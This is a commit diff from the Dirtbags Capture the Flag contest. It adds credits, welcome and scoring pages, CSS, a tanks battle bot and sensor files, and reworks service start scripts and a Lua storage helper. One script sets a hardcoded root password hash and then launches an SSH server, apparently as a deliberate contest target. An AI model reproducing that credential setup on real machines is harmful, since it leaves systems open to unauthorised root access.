# update scoreboard
echo "Check the puzzles overview for newly-unlocked content!"
fi
done

View File

@ -0,0 +1,51 @@
<!DOCTYPE html>
<html>
<head>
<title>The Credits</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
</head>
<body>
<h1>Credits</h1>
<p>Dirtbags Capture the Flag is brought to you by:</p>
<ul>
<li>The number C</li>
<li>The letters ع and ֆ</li>
</ul>
<p>And by:</p>
<ul>
<li>Alex Brugh</li>
<li>Paul Ferrell</li>
<li>Jeremy Scott</li>
<li>Danny Quist</li>
<li>Adam Glasgall</li>
<li>Curtis Hash</li>
<li>Aaron McPhall</li>
<li>Patrick Avery</li>
<li>Erin Ochoa</li>
<li>William Phillips</li>
<li>Should your name be here? Please remind me!</li>
</ul>
<p>Parts of this contest were inspired by:</p>
<ul>
<li>DC949</li>
<li>Tube Warriors</li>
<li>Bad people from around the world (screw you guys, seriously)</li>
</ul>
<p>Lastly, this contest would not exist were it not for hundreds of
thousands of lines of code from free software authors around the
world, including:</p>
<ul>
<li>Busybox and Buildroot</li>
<li>the Linux kernel</li>
<li>dnsmasq</li>
<li>fnord httpd</li>
<li>ngircd</li>
<li>lua</li>
</ul>
</body>
</html>

174
packages/p2/www/ctf.css Normal file
View File

@ -0,0 +1,174 @@
/* green phosphor: #2a4 */
/**** Color Scheme ****/
html {
background: #112 url(smoke.jpg) no-repeat;
background-size: contain;
}
body, h1:first-child:before {
color: #ddc;
}
h1, h2, h3 {
color: #1dd;
}
a {
color: #f80;
}
a:hover {
color: #112;
background-color: #f80;
}
.readme, pre {
background-color: #333;
}
/**** document ****/
body {
font-family: sans-serif;
padding: 10px;
max-width: 700px;
}
/**** heading ****/
h1:first-child {
text-transform: lowercase;
font-size: 1.6em;
padding: 3px;
margin: 0 0 1em 70px;
}
h1:first-child:before {
letter-spacing: -0.1em;
content: "P2: ";
}
/**** body ****/
a img {
border: 0px;
}
a {
text-decoration: underline;
}
h1, h2, h3 {
letter-spacing: -0.05em;
}
.readme {
margin: 1em;
}
pre {
border: solid #ddc 2px;
padding: 0.25em;
}
th {
vertical-align: top;
text-align: center;
}
td {
vertical-align: top;
text-align: left;
}
dt {
font-weight: bold;
}
p {
line-height: 1.4em;
margin-bottom: 20px;
}
hr {
border: 1px solid #ddc;
}
/*** navigation bar ***/
nav h2 {
display: none;
}
nav ul {
list-style: none;
text-align: center;
}
nav li {
display: inline;
}
nav li a {
text-transform: lowercase;
font-size: 0.9em;
}
nav li + li:before {
content: " | ";
}
/**** special cases ****/
.wide {
max-width: inherit;
}
.figure {
margin: 0.5em 1em;
float: right;
font-size: small;
text-align: center;
}
/* P2 stuff */
#puzzler {
/* The puzzler form is not used in Project 2 */
display: none;
}
/* Scoreboard stuff */
.scoreboard, .scoreboard body {
height: 100%;
margin: 0;
padding: 0;
max-width: none;
}
#scoreboard {
height: 60%;
font-size: 75%;
}
#scoreboard td {
height: 100%;
}
#chart {
height: 30%;
width: 100%;
}
/* Tanks stuff */
#battlefield {
border: 2px solid green;
}
.solved {
text-decoration: line-through;
}

View File

@ -0,0 +1,31 @@
<!DOCTYPE html>
<html>
<head>
<title>Welcome</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
</head>
<body>
<h1>Welcome</h1>
<h2>Important Links</h2>
<ul>
<li>
<a href="scoreboard.html">Scoreboard</a>
</li>
<li>
<a href="puzzles.html">Puzzles</a>
</li>
<li>
<a href="news.html">News</a>
</li>
<li>
<a href="scoring.html">About scoring</a>
</li>
</ul>
<p>
This event would not be possible without the help of many people.
<a href="credits.html">Thank you, people</a>.
</p>
</body>
</html>

View File

@ -0,0 +1,46 @@
<!DOCTYPE html>
<html>
<head>
<title>About scoring</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
<meta charset="utf-8">
</head>
<body>
<h1>About scoring</h1>
<p>
The contest is made up of multiple categories. Each category is
worth one point toward the total score; the percentage of the
total points held by your team is the percentage of one point your
team has for that category.
</p>
<p>
Categories are in the form of
multiple <em>puzzles</em>: for each puzzle presented, a
case-sensitive answer must be found to receive the amount of
points that puzzle is worth. Any team may answer any puzzle
question at any time. A new puzzle is revealed when a team
correctly answers the highest-valued puzzle in that category.
</p>
<h2>About time</h2>
<p>
Many Capture The Flag contests attempt to reward teams who answer
quickly, by adding a "quick answer" bonus or by decaying point
values over time. Our contest doesn't work this way.
</p>
<p>
We want to focus on rewarding technical proficiency, allowing
skilled contestants to prove their worth independent of their
ability to hit F5 quickly. It is our hope that by providing
enough things to work on, quick-moving teams will emerge with more
points by solving lots of puzzles, while novice teams get a solid
benchmark against which to judge their technical skill level: you
don't have to make allowances for reaction time in comparing
scores. In addition, when the game infrastructure goes down—which
seems to happen a lot in anybody's CTF—there's no losing points
while the organizers struggle to get things back up.
</p>
</body>
</html>

View File

@ -0,0 +1,3 @@
#! /bin/sh
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::529/64 41

View File

@ -2,7 +2,7 @@
exec 2>&1 exec 2>&1
IP=$(cat ip.txt) IP=$(/opt/00admin/sbin/fire-ip add)
ip addr add $IP dev eth0 || true ip addr add $IP dev eth0 || true
exec tcpsvd -u nobody ${IP%/*} 1013 /opt/playfair/bin/playfair exec tcpsvd -u nobody ${IP%/*} 1013 /opt/playfair/bin/playfair

View File

@ -1,4 +1,3 @@
#! /bin/sh #! /bin/sh
IP=$(cat ip.txt) /opt/00admin/sbin/fire-ip del
ip addr del $IP dev eth0

View File

@ -1 +1 @@
fd84:b410:3441::2329/64 152

View File

@ -2,9 +2,7 @@
exec 2>&1 exec 2>&1
IP=$(cat ip.txt) IP=$(/opt/00admin/sbin/fire-ip add)
ip addr add $IP dev eth0
ip monitor | grep -q $IP
# So I say to him, "Alex, what's a good high port number for a CTF category?" # So I say to him, "Alex, what's a good high port number for a CTF category?"
# And he says, "6" # And he says, "6"

View File

@ -0,0 +1,3 @@
#! /bin/sh
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::c3/64 195

View File

@ -2,8 +2,7 @@
exec 2>&1 exec 2>&1
IP=$(cat ip.txt) IP=$(/opt/00admin/sbin/fire-ip add)
ip addr add $IP dev eth0 || true
exec tcpsvd -u nobody ${IP%/*} 1013 ./go exec tcpsvd -u nobody ${IP%/*} 1013 ./go

View File

@ -1,4 +1,3 @@
#! /bin/sh #! /bin/sh
read IP < ip.txt /opt/00admin/sbin/fire-ip del
ip addr del $IP dev eth0

View File

@ -1 +1 @@
fd84:b410:3441::b33b/64 59

View File

@ -1,8 +1,8 @@
#! /bin/sh -e #! /bin/sh -e
exec 2>&1 exec 2>&1
read IP < ip.txt
ip addr add $IP label eth0:rlyeh dev eth0 || true IP=$(/opt/00admin/sbin/fire-ip add)
dir=/var/lib/ctf/rlyeh dir=/var/lib/ctf/rlyeh
install -o nobody -d $dir install -o nobody -d $dir

View File

@ -59,7 +59,7 @@ $(ECMH_BUILDDIR): $(ECMH_CACHE)
router-build: $(ROUTER_BUILDDIR)/ecmh-build router-build: $(ROUTER_BUILDDIR)/ecmh-build
$(ROUTER_BUILDDIR)/ecmh-build: $(ECMH_BUILDDIR) $(ROUTER_BUILDDIR)/ecmh-build: $(ECMH_BUILDDIR)
$(MAKE) -C $(ECMH_BUILDDIR)/src ECMH_VERSION=dbtl-git $(MAKE) -C $(ECMH_BUILDDIR)/src ECMH_VERSION=dbtl-git STRIP=$(STRIP)
$(MAKE) -C $(ECMH_BUILDDIR)/tools/mtrace6 $(MAKE) -C $(ECMH_BUILDDIR)/tools/mtrace6
touch $@ touch $@

View File

@ -2,6 +2,6 @@
exec 2>&1 exec 2>&1
echo 'root:$1$xAJ7KwiU$BeKJjYGs9r/hY9Ag4qv4I1:0:0:root:/tmp:/bin/sh' > /etc/passwd echo 'root:$1$xAJ7KwiU$BeKJjYGs9r/hY9Ag4qv4I1:0:0' | chpasswd --encrypted
exec dropbear -r ./rsa.key -E -F exec dropbear -r ./rsa.key -E -F

View File

@ -0,0 +1 @@
Neale Pickett <neale@lanl.gov>

View File

@ -0,0 +1 @@
#d0d054

View File

@ -0,0 +1 @@
skirts

View File

@ -0,0 +1,58 @@
15 14 set-speed!
( Front )
5 sensor? {
get-turret 45 + 90 < { 15 15 } { 2 2 } ifelse set-speed!
0 set-turret!
} if
( Rear )
6 sensor? {
get-turret 45 + 90 < { 2 2 } { -15 -15 } ifelse set-speed!
180 set-turret!
} if
7 sensor? {
90 set-turret!
5 -5 set-speed!
} if
8 sensor? {
-90 set-turret!
-5 5 set-speed!
} if
1 sensor? {
get-turret 10 + set-turret!
} if
2 sensor? {
get-turret 10 - set-turret!
} if
3 sensor? {
get-turret 20 + set-turret!
} if
4 sensor? {
get-turret 20 - set-turret!
} if
0 sensor? {
0 0 set-speed!
get-turret set-turret!
fire!
} if
fire-ready? ! {
70 60 10 random +
get-turret 90 + 180 > { exch } if
set-speed!
} if
9 sensor? {
5 sensor? {
-100 -100
} {
100 100
} ifelse
set-speed!
} if

View File

@ -0,0 +1 @@
50 0 7 1

View File

@ -0,0 +1 @@
60 10 12 1

View File

@ -0,0 +1 @@
60 -10 12 1

View File

@ -0,0 +1 @@
90 30 40 1

View File

@ -0,0 +1 @@
90 -30 40 1

View File

@ -0,0 +1 @@
60 0 90 0

View File

@ -0,0 +1 @@
60 180 90 0

View File

@ -0,0 +1 @@
80 90 90 0

View File

@ -0,0 +1 @@
80 270 90 0

View File

@ -0,0 +1 @@
30 180 345 0

View File

@ -1,12 +1,14 @@
#! /bin/sh #! /bin/sh -e
exec 2>&1 exec 2>&1
mkdir -p /var/www/tanks mkdir -p /var/www/tanks
ln -s /opt/tanks/html/* /var/www/tanks/ ln -s /opt/tanks/html/* /var/www/tanks/ || true
ln -sf summary.html /var/www/tanks/index.html ln -s summary.html /var/www/tanks/index.html || true
install -o ctf -d /var/lib/ctf/tanks/players mkdir -p /var/lib/ctf/tanks/players
chown ctf /var/lib/ctf/tanks
chown ctf /var/lib/ctf/tanks/players
PATH=/bin:/opt/ctfbase/bin:/opt/tanks/bin; export PATH PATH=/bin:/opt/ctfbase/bin:/opt/tanks/bin; export PATH
exec ./tanksd exec ./tanksd

View File

@ -41,7 +41,7 @@ EOF
} }
while true; do while true; do
for dn in /var/lib/ctf/teams/names/*; do find /var/lib/ctf/teams/names -type f | while read dn; do
hash=${dn##*/} hash=${dn##*/}
install -o ctf -d $p/$hash install -o ctf -d $p/$hash
done done
@ -92,24 +92,19 @@ window.onload = go;
<div id="game_box"><canvas id="battlefield"></canvas></div> <div id="game_box"><canvas id="battlefield"></canvas></div>
<p><span id="fps">0</span> fps</p> <p><span id="fps">0</span> fps</p>
EOF EOF
/opt/tanks/bin/rank.awk $rfn >>$fn awk -f /opt/tanks/bin/rank.awk $rfn >>$fn
cat /opt/tanks/html/nav.html.inc >>$fn cat /opt/tanks/html/nav.html.inc >>$fn
cat <<EOF >>$fn cat <<EOF >>$fn
</body> </body>
</html> </html>
EOF EOF
winner.awk $rfn | while read winner; do awk -f /opt/tanks/bin/winner.awk $rfn | while read winner; do
hash=$(basename $winner) hash=$(basename $winner)
echo "Round $next winner: $hash" >> $log echo "Round $next winner: $hash" >> $log
nwinners=$(wc -l $log) nwinners=$(wc -l $log)
# Read a token /opt/mcp/bin/pointscli $hash tanks 1
k=$(sed -n ${nwinners}p /opt/tanks/tokens.txt)
# XXX: pull this out into another daemon
# XXX: this puts the token in /proc/self/cmdline
wget -q -s "http://10.0.0.2/claim.cgi?t=$hash&k=$k"
done done
ln -sf $fn $w/current.html ln -sf $fn $w/current.html

View File

@ -21,8 +21,6 @@ tanks-install: tanks-build
cp $(TANKS_BUILDDIR)/rank.awk $(TANKS_PKGDIR)/bin cp $(TANKS_BUILDDIR)/rank.awk $(TANKS_PKGDIR)/bin
cp $(TANKS_BUILDDIR)/winner.awk $(TANKS_PKGDIR)/bin cp $(TANKS_BUILDDIR)/winner.awk $(TANKS_PKGDIR)/bin
cp packages/tanks/tokens.txt $(TANKS_PKGDIR)/
$(call COPYTREE, packages/tanks/html, $(TANKS_PKGDIR)/html) $(call COPYTREE, packages/tanks/html, $(TANKS_PKGDIR)/html)
cp packages/mcp/www/ctf.css $(TANKS_PKGDIR)/html/style.css cp packages/mcp/www/ctf.css $(TANKS_PKGDIR)/html/style.css
cp $(TANKS_BUILDDIR)/nav.html.inc $(TANKS_PKGDIR)/html cp $(TANKS_BUILDDIR)/nav.html.inc $(TANKS_PKGDIR)/html

File diff suppressed because it is too large Load Diff

View File

@ -1,6 +1,4 @@
#! /usr/bin/lua #! /bin/env lua
require("lfs")
BASEDIR = "/var/tmp/wopr" BASEDIR = "/var/tmp/wopr"
POST_MAX = 512 POST_MAX = 512
@ -128,7 +126,7 @@ end
-- --
function get(key, ...) function get(key, ...)
local fn = string.format("%s/%s", dirname, key) local fn = string.format("%s.%s", dirname, key)
local f = io.open(fn) local f = io.open(fn)
if (not f) then if (not f) then
return arg[1] return arg[1]
@ -140,12 +138,9 @@ function get(key, ...)
end end
function set(key, ...) function set(key, ...)
local fn = string.format("%s/%s", dirname, key) local fn = string.format("%s.%s", dirname, key)
local f local f
-- Lazy mkdir to save a few inodes
lfs.mkdir(dirname)
f = io.open(fn, "w") f = io.open(fn, "w")
if not f then if not f then
error("Unable to write " .. fn) error("Unable to write " .. fn)
@ -155,7 +150,7 @@ function set(key, ...)
end end
function del(key) function del(key)
local fn = string.format("%s/%s", dirname, key) local fn = string.format("%s.%s", dirname, key)
os.remove(fn) os.remove(fn)
end end